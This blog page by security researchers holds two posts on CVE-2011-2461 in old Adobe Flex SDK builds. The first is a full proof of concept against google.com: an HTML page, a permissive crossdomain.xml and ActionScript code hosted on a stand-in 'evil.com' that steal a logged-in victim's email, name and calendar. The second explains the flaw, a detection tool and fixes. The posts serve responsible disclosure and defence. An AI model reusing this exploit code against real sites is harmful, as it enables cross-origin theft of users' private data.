Showing posts with label Flex. Show all posts
Showing posts with label Flex. Show all posts

Monday, March 30, 2015

Exploiting CVE-2011-2461 on google.com

As a follow up of our Troopers 2015 presentation about CVE-2011-2461 we want to release more details about a real world exploitation scenario targeting Google services.
During our large-scale analysis of web sites hosting vulnerable SWF files, we found out that also Google was affected.

Attack Flow

In the next lines we are assuming a basic knowledge of the CVE-2011-2461 vulnerability; make sure to read our previous cross-posts on NibbleSec or Minded Security in case you missed something. In addition, please note that we are using evil.com as a "label" for a fictitious site controlled by an attacker.

The following steps outline a successful attack:
- The victim is logged on google.com, and visits a malicious website
- The malicious site loads an HTML page, which embeds the vulnerable SWF together with a malicious SWF resource file (specified via FlashVars)
- The vulnerable SWF file is loaded by the Flash player, consequently loading the malicious SWF file (after having verified the crossdomain.xml, hosted on the attacker's site)
- Since the malicious SWF inherits the SecurityDomain of the vulnerable SWF, it can access HTTP responses from the victim's domain, leading to an "indirect" Same-Origin Policy bypass in fully patched web browsers and plug-ins.


Proof of Concept

Here follow the PoC files.

http://evil.com/poc/test.html

<i>Victim's agenda:</i>
<textarea id="x" style="width: 100%; height:50%"></textarea>
<object width="100%" height="100%"
type="application/x-shockwave-flash"
data="https://www.google.com/wonderwheel/wonderwheel7.swf">
<param name="allowscriptaccess" value="always">
<param name="flashvars" value="resourceModuleURLs=http://evil.com/poc/URLr_google.swf">
</object>

http://evil.com/crossdomain.xml

<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>

http://evil.com/poc/URLr_google.swf (ActionScript code below)

package {
import flash.display.Sprite;
import flash.text.TextField;
import flash.events.*;
import flash.net.*;
import flash.external.ExternalInterface;

public class URLr_google extends Sprite {
public static var app : URLr_google;
private static var email : String;

public function main():void {
app = new URLr_google();
}

public function URLr_google() {
var url:String = "https://www.google.com/?gws_rd=cr";
var loader:URLLoader = new URLLoader();
configureListeners(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
}

private function pingCalendar():void {
var url:String = "https://www.google.com/calendar/";
var loader:URLLoader = new URLLoader();
configureListenersCalendar(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListenersCalendar(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerCalendar);
}

private function getAgenda():void {
var url:String = "https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=" + email;
var loader:URLLoader = new URLLoader();
configureListenersAgenda(loader);
var request:URLRequest = new URLRequest(url);

try {
loader.load(request);
} catch (error:Error) {
ExternalInterface.call("alert", "Unable to load requested document");
}
}

private function configureListenersAgenda(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandlerAgenda);
}

private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var s:String = loader.data;
var pattern:RegExp = /[a-z0-9._-]+@[a-z0-9._-]+\.[a-z]+/i;
var results:Array = s.match(pattern);

if (results.length > 0) {
email = results[0];
ExternalInterface.call("eval", "alert('Email address: " + email + "')");
pingCalendar();
}
}

private function completeHandlerCalendar(event:Event):void {
getAgenda();
}

private function completeHandlerAgenda(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
var res:String = escape(loader.data);
ExternalInterface.call("eval", "document.getElementById('x').value='" + res + "';document.getElementById('x').value=unescape(document.getElementById('x').value)");
var pattern:RegExp = /title>[a-z0-9]+\s[a-z0-9]+<\/title/i;
var results:Array = unescape(res).match(pattern);

if (results.length > 0) {
var name:String = results[0];
name = (name.substring(name.indexOf(">") + 1)).split("<")[0];
ExternalInterface.call("eval", "alert('Name and surname:" + name + "')");
}
}
}
}

By asking the victim to access the page located at http://evil.com/poc/test.html, the attacker is able to steal the following information:
  • Gmail address
  • FirstName
  • LastName
  • Future events stored in Google Calendar

By inspecting the malicious resource "module", you will notice that it makes three different HTTP requests:
  1. 1st GET request to https://www.google.com/?gws_rd=cr to steal the victim's email address;
  2. 2nd GET request to https://www.google.com/calendar/ to initialize the Google Calendar for the current session;
  3. 3rd GET request to https://www.google.com/calendar/htmlembed?skipwarning=true&eopt=3&mode=AGENDA&src=[JUST_STOLEN_EMAIL_ADDRESS] to steal the victim's first name, last name and agenda.

Obviously, many other attack scenarios are possible, depending on the pages functionalities. For instance, the malicious SWF could steal anti-CSRF tokens and perform actions on behalf of the user.

For the sake of transparency: we reported the issue to Google security team early in December, and they quickly patched it and awarded us thanks to their bug bounty program. Cheers!

As a final reminder to developers, website's owners and security teams: ParrotNG is your friend! Make sure to inspect all hosted SWF files, or at least sandbox them under different domains. In the latter, ensure that sensitive domains are not giving trust to sandboxing domains through relaxed crossdomain policy files, since the "trust chain" would cancel out the benefits of such domains partition.


Brought to you by Mauro Gentile and Luca Carettoni

Thursday, March 19, 2015

The old is new, again. CVE-2011-2461 is back!

On March 19th @ Troopers 2015, me (Mauro Gentile) and Luca Carettoni presented an in-depth study on a very fascinating bug affecting old versions of Adobe Flex SDK.

For the sake of precision, this is a cross-post of the NibbleSec post.

Although Adobe patched the bug in 2011, it is still possible to exploit vulnerable SWF applications in fully patched web browsers with the latest version of Adobe Flash Player; successful exploitation leads to Same-Origin Request Forgery and Cross-Site Content Hijacking.

The particularity of (CVE-2011-2461) is that vulnerable Flex applications have to be recompiled or patched; even with the most recent Flash player, vulnerable Flex applications can be exploited. As long as the SWF file was compiled with a vulnerable Flex SDK, attackers can still use this vulnerability against the latest web browsers and Flash plug-in.

We conducted a large scale analysis against many high-profile web sites and we found out that a considerable portion is still hosting vulnerable Flex applications.

During the past months, we've done our best to privately disclose this issue to some of the largest websites, but we won't be able to reach a broader audience without publicly releasing the technical details.

The Issue

Starting from Flex version 3, Adobe introduced runtime localizations.
A new component in the Flex framework — the ResourceManager — allows access to localized resources at runtime. 
Any component that extends UIComponent, Formatter, Validator have a ResourceManager property, which allows the SWF file to access the singleton instance of the resource manager. 
ResourceManager exposes by default a property that can be controlled by an attacker via a specific Flash Variable: resourceModuleURLs.
Adobe Flex SDK (between 3.x and 4.5.1) is affected by such issue, since the parent SWF file loads the child module, and sets its SecurityDomain to SecurityDomain.currentDomain.
Obviously, this leads to:
  • Same-Origin requests forgery
  • Flash XSS (in older versions of the Flash player).
An attacker would need to embed the following content on a malicious HTML page and change resourceModuleURLs value to the malicious resource, such as http://at.tack.er/malicious.swf.


The Impact: Same-Origin Request Forgery

When successfully exploited a Same Origin Request Forgery attack allows a malicious web site to perform arbitrary requests to the vulnerable site, and read its response without restrictions.

In our case, it is possible to force the affected Flash movies to perform arbitrary requests to the hosting server and return the responses back to the malicious Flash file.
Since HTTP requests contain cookies and are issued from the victim’s domain, HTTP responses may contain private information including anti-CSRF tokens and user's data.

 

Detecting vulnerable Flex apps

We developed ParrotNG, an open-source Java-based tool for automatically identifying vulnerable SWF files, built on top of swfdump. It can be used both as a command line tool and as a Burp Pro Passive Scanner Plug-in.
You can download it from https://github.com/ikkisoft/ParrotNG/ - refer to the "How to Use" section in the README.md for further details.

How to protect

After having identified all Flex SWF files compiled with a vulnerable version of the Adobe Flex SDK, there are three possibilities:
  • Recompile them with the latest Apache Flex SDK, including static libraries;
  • Patch them with the official Adobe patch tool, as illustrated here. This seems to be sufficiently reliable, at least in our experience;
  • Delete them, if not used anymore.